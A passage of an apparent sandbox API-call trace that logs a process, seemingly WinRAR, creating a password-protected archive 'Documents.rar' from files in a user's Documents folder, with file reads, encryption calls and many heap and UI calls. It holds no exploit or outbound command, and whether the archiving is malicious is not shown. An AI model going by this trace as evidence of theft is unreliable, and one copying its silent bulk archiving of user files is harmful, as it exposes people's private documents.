out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0xc5b7, lpOverlapped=0x0) returned 1 [0082.015] ReadFile (in: hFile=0x350, lpBuffer=0x11631b9a5f7, nNumberOfBytesToRead=0xf3a49, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b9a5f7*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0082.015] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.015] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.016] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079c20 [0082.016] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bf0 [0082.016] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079bf0, Size=0x48) returned 0x1162e888ea0 [0082.016] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86dd70 [0082.016] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0082.016] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079bc0, Size=0x48) returned 0x1162e888fe0 [0082.016] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86dd70 | out: hHeap=0x1162e7c0000) returned 1 [0082.016] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.016] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079d70 [0082.016] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e00 [0082.016] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079e00 | out: hHeap=0x1162e7c0000) returned 1 [0082.016] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079d70 | out: hHeap=0x1162e7c0000) returned 1 [0082.016] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079c20, Size=0x48) returned 0x1162e888ea0 [0082.016] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888ea0, Size=0x7c) returned 0x1162e7f4e50 [0082.016] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888fe0 | out: hHeap=0x1162e7c0000) returned 1 [0082.016] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7f4e50 | out: hHeap=0x1162e7c0000) returned 1 [0082.017] GetTickCount () returned 0x2a500 [0082.017] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17334518280) returned 1 [0082.017] GetTickCount () returned 0x2a500 [0082.017] GetLastError () returned 0x0 [0082.017] SetLastError (dwErrCode=0x0) [0082.017] GetDlgItem (hDlg=0x102f8, nIDDlgItem=154) returned 0x1030a [0082.017] GetWindowTextW (in: hWnd=0x1030a, lpString=0x141a0dc310, nMaxCount=2560 | out: lpString="00:00:00") returned 8 [0082.017] SetWindowTextW (hWnd=0x1030a, lpString="00:00:01") returned 1 [0082.017] GetTickCount () returned 0x2a500 [0082.017] GetDlgItem (hDlg=0x102f8, nIDDlgItem=162) returned 0x1030c [0082.017] ShowWindow (hWnd=0x1030c, nCmdShow=0) returned 0 [0082.017] GetDlgItem (hDlg=0x102f8, nIDDlgItem=151) returned 0x1030e [0082.017] ShowWindow (hWnd=0x1030e, nCmdShow=0) returned 0 [0082.017] GetDlgItem (hDlg=0x102f8, nIDDlgItem=151) returned 0x1030e [0082.017] GetWindowTextW (in: hWnd=0x1030e, lpString=0x141a0dc310, nMaxCount=2560 | out: lpString="") returned 0 [0082.017] GetTickCount () returned 0x2a500 [0082.018] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.018] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.018] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.018] ResetEvent (hEvent=0x344) returned 1 [0082.018] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.020] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.020] ResetEvent (hEvent=0x344) returned 1 [0082.020] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.022] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.022] GetTickCount () returned 0x2a500 [0082.022] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17335113686) returned 1 [0082.023] GetTickCount () returned 0x2a500 [0082.023] GetTickCount () returned 0x2a500 [0082.023] GetTickCount () returned 0x2a500 [0082.023] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.023] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.023] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.023] ResetEvent (hEvent=0x33c) returned 1 [0082.023] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.024] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.024] ResetEvent (hEvent=0x33c) returned 1 [0082.024] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.025] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.025] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.025] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.025] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x4e800 [0082.025] SetFilePointer (in: hFile=0x32c, lDistanceToMove=121, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x4e879 [0082.025] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0082.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0082.025] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0082.025] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0082.025] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0082.026] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0xc660, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0xc660, lpOverlapped=0x0) returned 1 [0082.028] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 1 [0082.028] GetMessageW (in: lpMsg=0x141a0dd4e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd4e0) returned 1 [0082.028] GetFocus () returned 0x1031c [0082.028] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd4e0) returned 1 [0082.028] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.028] SetFilePointer (in: hFile=0x32c, lDistanceToMove=321536, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x4e800 [0082.028] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x4e800 [0082.028] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079d10 [0082.028] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079d40 [0082.028] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079d40, Size=0x48) returned 0x1162e888ea0 [0082.028] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d9b0 [0082.028] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e00 [0082.028] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079e00, Size=0x48) returned 0x1162e888ef0 [0082.028] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d9b0 | out: hHeap=0x1162e7c0000) returned 1 [0082.028] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.028] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a40 [0082.028] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a10 [0082.028] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079a10 | out: hHeap=0x1162e7c0000) returned 1 [0082.028] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079a40 | out: hHeap=0x1162e7c0000) returned 1 [0082.029] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079d10, Size=0x48) returned 0x1162e8886d0 [0082.029] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e8886d0, Size=0x7c) returned 0x1162e7f4e50 [0082.029] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e7f4e53*, nNumberOfBytesToWrite=0x79, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1162e7f4e53*, lpNumberOfBytesWritten=0x141a0d82c0*=0x79, lpOverlapped=0x0) returned 1 [0082.029] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079fe0 [0082.029] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x79) returned 0x1162e7f4670 [0082.029] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ef0 | out: hHeap=0x1162e7c0000) returned 1 [0082.029] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7f4e50 | out: hHeap=0x1162e7c0000) returned 1 [0082.029] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x5aed9 [0082.029] CloseHandle (hObject=0x350) returned 1 [0082.029] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.029] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.029] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.029] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.029] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\3jMLs-qdS.docx", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0082.029] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0082.029] CreateFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\3jMLs-qdS.docx" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\3jmls-qds.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0082.029] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0082.029] GetTickCount () returned 0x2a510 [0082.029] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0082.029] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0082.029] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0082.030] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0082.030] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="35mJ-.pdf") returned 9 [0082.030] SetWindowTextW (hWnd=0x10300, lpString="3jMLs-qdS.docx") returned 1 [0082.030] GetTickCount () returned 0x2a510 [0082.030] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.030] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a7310) returned 1 [0082.030] CryptGenRandom (in: hProv=0x116320a7310, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0082.030] CryptReleaseContext (hProv=0x116320a7310, dwFlags=0x0) returned 1 [0082.030] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x3b, wMilliseconds=0x20a)) [0082.030] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0082.030] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17335908914) returned 1 [0082.031] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x135b0, lpOverlapped=0x0) returned 1 [0082.031] ReadFile (in: hFile=0x350, lpBuffer=0x11631ba15f0, nNumberOfBytesToRead=0xeca50, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631ba15f0*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0082.031] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.031] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.031] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a70 [0082.031] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0082.031] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079aa0, Size=0x48) returned 0x1162e888810 [0082.031] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0082.031] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a0d0 [0082.031] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163207a0d0, Size=0x48) returned 0x1162e888ea0 [0082.032] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0082.032] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888810 | out: hHeap=0x1162e7c0000) returned 1 [0082.032] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0082.032] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079ad0 [0082.032] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079ad0 | out: hHeap=0x1162e7c0000) returned 1 [0082.032] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079bc0 | out: hHeap=0x1162e7c0000) returned 1 [0082.032] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079a70, Size=0x48) returned 0x1162e888ef0 [0082.032] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888ef0, Size=0x81) returned 0x1162e7f4e50 [0082.032] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.032] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7f4e50 | out: hHeap=0x1162e7c0000) returned 1 [0082.033] GetTickCount () returned 0x2a510 [0082.033] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17336184496) returned 1 [0082.033] GetTickCount () returned 0x2a510 [0082.033] GetTickCount () returned 0x2a510 [0082.033] GetTickCount () returned 0x2a510 [0082.033] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.033] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.033] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.033] ResetEvent (hEvent=0x344) returned 1 [0082.033] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.040] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.040] ResetEvent (hEvent=0x344) returned 1 [0082.040] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.044] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.044] ResetEvent (hEvent=0x344) returned 1 [0082.044] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.046] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.046] GetTickCount () returned 0x2a51f [0082.046] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17337519676) returned 1 [0082.047] GetTickCount () returned 0x2a51f [0082.047] GetTickCount () returned 0x2a51f [0082.047] GetTickCount () returned 0x2a51f [0082.047] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.047] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.047] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.047] ResetEvent (hEvent=0x33c) returned 1 [0082.047] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.047] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.047] ResetEvent (hEvent=0x33c) returned 1 [0082.047] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.048] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.048] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.048] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.048] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x5aed9 [0082.048] SetFilePointer (in: hFile=0x32c, lDistanceToMove=126, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x5af57 [0082.048] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0082.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0082.049] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0082.049] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0082.049] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0082.049] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x13640, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x13640, lpOverlapped=0x0) returned 1 [0082.050] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.050] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.050] SetFilePointer (in: hFile=0x32c, lDistanceToMove=372441, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x5aed9 [0082.050] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x5aed9 [0082.050] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079950 [0082.050] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799e0 [0082.050] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x116320799e0, Size=0x48) returned 0x1162e888ea0 [0082.050] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86dd70 [0082.051] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a0a0 [0082.051] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163207a0a0, Size=0x48) returned 0x1162e888ef0 [0082.051] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86dd70 | out: hHeap=0x1162e7c0000) returned 1 [0082.051] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.051] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a70 [0082.051] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079c20 [0082.051] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079c20 | out: hHeap=0x1162e7c0000) returned 1 [0082.051] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079a70 | out: hHeap=0x1162e7c0000) returned 1 [0082.051] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079950, Size=0x48) returned 0x1162e889530 [0082.051] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e889530, Size=0x81) returned 0x1162e7f4e50 [0082.051] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e7f4e53*, nNumberOfBytesToWrite=0x7e, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1162e7f4e53*, lpNumberOfBytesWritten=0x141a0d82c0*=0x7e, lpOverlapped=0x0) returned 1 [0082.051] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079d10 [0082.051] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x7e) returned 0x1163205dc40 [0082.051] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ef0 | out: hHeap=0x1162e7c0000) returned 1 [0082.051] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7f4e50 | out: hHeap=0x1162e7c0000) returned 1 [0082.051] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x6e597 [0082.051] CloseHandle (hObject=0x350) returned 1 [0082.051] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.051] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.051] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.051] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.051] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\BTQU2WOZsFUjw.pdf", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d640 [0082.051] FindClose (in: hFindFile=0x1163204d640 | out: hFindFile=0x1163204d640) returned 1 [0082.052] CreateFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\BTQU2WOZsFUjw.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\5hld-s\\btqu2wozsfujw.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 